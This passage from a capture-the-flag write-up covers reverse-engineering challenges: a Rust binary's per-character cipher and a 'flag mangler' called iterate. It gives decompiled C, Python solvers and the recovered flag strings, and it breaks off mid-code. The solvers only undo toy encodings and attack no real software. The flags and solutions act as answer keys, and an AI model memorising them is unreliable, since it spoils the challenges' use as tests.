punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">138</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Since the flag was only about 30 characters long, I identified it manually instead of writing a solver.</p>\n<p><code class=\"language-text\">ictf{1_h4t3_3s0l4ng5_7d4f3a1b}</code></p>\n<h2 id=\"rustrev\" style=\"position:relative;\"><a href=\"#rustrev\" aria-label=\"rustrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Rust(Rev)</h2>\n<blockquote>\n<p>Rust! Enjoy 😃 Note: The message that produces the provided encryption is the flag.</p>\n</blockquote>\n<p>The challenge provides a Rust binary and the result of encrypting the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">Enter the message:REDACTED\nEnter the key <span class=\"token punctuation\">(</span>in hex<span class=\"token punctuation\">)</span>: REDACTED\nEncrypted: <span class=\"token punctuation\">[</span>-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823<span class=\"token punctuation\">]</span></code></pre></div>\n<p>After pushing through the analysis, I found that it takes the plaintext to encrypt and a key of up to 16 bytes as input, then applies several transformations.</p>\n<p>Although the actual processing is simple, the decompiled Rust binary is unpleasantly complicated. After reading through the assembly, I found that each input character is shifted right by 3, then left by 5, XORed with the provided key, then <code class=\"language-text\">0x539</code> is added and the bits are inverted.</p>\n<p>Using the following solver, I recovered the original flag, <code class=\"language-text\">ictf{ru57_r3v_7f4d3a}</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">flag <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\nfirst_8byte_key <span class=\"token operator\">=</span> <span class=\"token number\">0x8830855547373836</span>\npart_of_second_key <span class=\"token operator\">=</span> <span class=\"token number\">0x82184000</span>\nguessed_key <span class=\"token operator\">=</span> <span class=\"token number\">0x979</span>\nenc <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418903</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418927</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418851</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418907</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418831</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418859</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418855</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255419111</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255419103</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418687</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418859</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255419119</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418843</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418687</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255419103</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418907</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255419107</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418915</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255419119</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418935</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">-</span><span class=\"token number\">42148619422891531582255418823</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> e <span class=\"token keyword\">in</span> enc<span class=\"token punctuation\">:</span>\n    tmp <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">~</span>e <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFF</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">0x539</span>\n    tmp <span class=\"token operator\">=</span> tmp <span class=\"token operator\">^</span> guessed_key\n    flag <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>tmp <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">5</span><span class=\"token punctuation\">)</span></code></pre></div>\n<h2 id=\"unconditionalrev\" style=\"position:relative;\"><a href=\"#unconditionalrev\" aria-label=\"unconditionalrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>unconditional(Rev)</h2>\n<blockquote>\n<p>Can you reverse this flag mangler? The output is b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b</p>\n<p>The input only contains lowercase letters, numbers, underscore, and braces .</p>\n</blockquote>\n<p>Running the challenge binary prints 33 byte values.</p>\n<p>Apparently, whatever input produces <code class=\"language-text\">b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b</code> is the correct flag.</p>\n<p>The decompiled binary shows that a function called <code class=\"language-text\">iterate</code> is executed in a 33-level nested chain.</p>\n<p>Inside this <code class=\"language-text\">iterate</code> function, it takes the hardcoded flag string from the data section one character at a time, performs some calculations, and outputs the result one byte at a time.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">uint64_t</span> <span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> n<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token class-name\">uint8_t</span> word <span class=\"token operator\">=</span> flag<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> rax_28<span class=\"token punctuation\">;</span>\n    rax_28 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>n <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">char</span> is_even <span class=\"token operator\">=</span> rax_28<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">char</span> is_lower<span class=\"token punctuation\">;</span>\n    \n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>word <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x60</span> <span class=\"token operator\">||</span> word <span class=\"token operator\">></span> <span class=\"token number\">0x7a</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        is_lower <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">else</span>\n        is_lower <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token keyword\">char</span> X <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>table1<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>c1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>word <span class=\"token operator\">>></span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span>word <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>is_lower <span class=\"token operator\">^</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span>is_lower <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int8_t</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token punctuation\">)</span>word<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token punctuation\">(</span><span class=\"token number\">8</span> <span class=\"token operator\">-</span> table2<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>c2<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int8_t</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token punctuation\">)</span>word<span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> table2<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>c2<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    flag<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>is_even <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>word <span class=\"token operator\">>></span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span>word <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>is_lower <span class=\"token operator\">^</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span>is_lower <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>table1<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>c1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> word<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>is_even <span class=\"token operator\">^</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> X<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    c1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token punctuation\">)</span>is_even<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> c1<span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    c2 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token punctuation\">)</span>is_even<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> c2<span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%02x,\"</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token punctuation\">)</span>flag<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"nothing_here_lmao\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>n <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n\n<span class=\"token class-name\">int32_t</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> argc<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> argv<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> envp<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token class-name\">int32_t</span> n <span class=\"token operator\">=</span> <span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> n_1 <span class=\"token operator\">=</span> <span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span><span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span>n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span>n_1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>The following values are embedded at the flag location by default.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 456px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/4decb49d247bfccca73263e270405b8a/7f664/image-20240722010026733.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 27.083333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABOUlEQVQY0z2QbU+CYBiF+VgpyTsPoEH2IgoJYmgtjcqpYdO0za31B/r/v+CK3OrD2Tk727Xd95EaqopmmARBgC1sbL+Ne3FNK4zxrroYloXhNnGr7Lav8HsJui345RRNQ1G1Q/6TdHRSqyCVsCPQmz5OlNHsXeJeBii6TtBsE130CM+7+J5Py2nRrjrDtJAr7rhe46Re/5d03YvI8pTnWcrkYcK63DApCvLykWQwZJiNWBWvTMcT4qhPmmQkNwP6UUISpweF3YhOFBHGMVJ6mzO+v2NTztkulnx/fvK137PYriienpnNl7wuSpbzkt16x0sxY74qKT82LN6q/n3NdDkjG40Y5DnS75k1+RRhOqiajuEIHM9DCFFtq2NVblgmumniuC6y0qAhdLQzG6VyxTPRHJO6LB9e/gGZNJB/Iblw4gAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/4decb49d247bfccca73263e270405b8a/8ac56/image-20240722010026733.webp 240w,\n/static/4decb49d247bfccca73263e270405b8a/646b7/image-20240722010026733.webp 456w\"\n              sizes=\"(max-width: 456px) 100vw, 456px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/4decb49d247bfccca73263e270405b8a/8ff5a/image-20240722010026733.png 240w,\n/static/4decb49d247bfccca73263e270405b8a/7f664/image-20240722010026733.png 456w\"\n            sizes=\"(max-width: 456px) 100vw, 456px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/4decb49d247bfccca73263e270405b8a/7f664/image-20240722010026733.png\"\n            alt=\"image-20240722010026733\"\n            title=\"image-20240722010026733\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Because the <code class=\"language-text\">iterate</code> output is determined one character at a time, it looked possible to recover the flag with a simple brute-force approach.</p>\n<p>I reimplemented the <code class=\"language-text\">iterate</code> logic in Python as follows and brute-forced the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">table1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> <span class=\"token string\">\"RdqQTv\"</span><span class=\"token punctuation\">]</span>\ntable2 <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">iterate</span><span class=\"token punctuation\">(</span>n<span class=\"token punctuation\">,</span>flag<span class=\"token punctuation\">,</span>c1<span class=\"token punctuation\">,</span>c2<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    word <span class=\"token operator\">=</span> flag<span class=\"token punctuation\">[</span>n<span class=\"token punctuation\">]</span>\n    is_even <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>n <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span>\n    is_lower <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\n    \n    <span class=\"token keyword\">if</span> <span class=\"token number\">0x60</span> <span class=\"token operator\">&lt;</span> word <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x7a</span><span class=\"token punctuation\">:</span>\n        is_lower <span class=\"token operator\">=</span> <span class=\"token number\">1</span>\n    \n    X <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>table1<span class=\"token punctuation\">[</span>c1<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>word <span class=\"token operator\">>></span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>word <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>is_lower <span class=\"token operator\">^</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span>\n         <span class=\"token punctuation\">(</span>is_lower <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>word <span class=\"token operator\">&lt;&lt;</span> <span class=\"token punctuation\">(</span><span class=\"token number\">8</span> <span class=\"token operator\">-</span> table2<span class=\"token punctuation\">[</span>c2<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span>word <span class=\"token operator\">>></span> table2<span class=\"token punctuation\">[</span>c2<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    \n    flag<span class=\"token punctuation\">[</span>n<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>is_even <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>word <span class=\"token operator\">>></span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>word <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>is_lower <span class=\"token operator\">^</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span>\n               <span class=\"token punctuation\">(</span>is_lower <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>table1<span class=\"token punctuation\">[</span>c1<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> word<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>is_even <span class=\"token operator\">^</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> X<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span>\n    \n    c1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>is_even <span class=\"token operator\">+</span> c1<span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span>\n    c2 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>is_even <span class=\"token operator\">+</span> c2<span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span>\n    \n    <span class=\"token comment\"># print(f\"{flag[n]:02x},\", end=\"\")</span>\n    <span class=\"token keyword\">return</span> flag<span class=\"token punctuation\">[</span>n<span 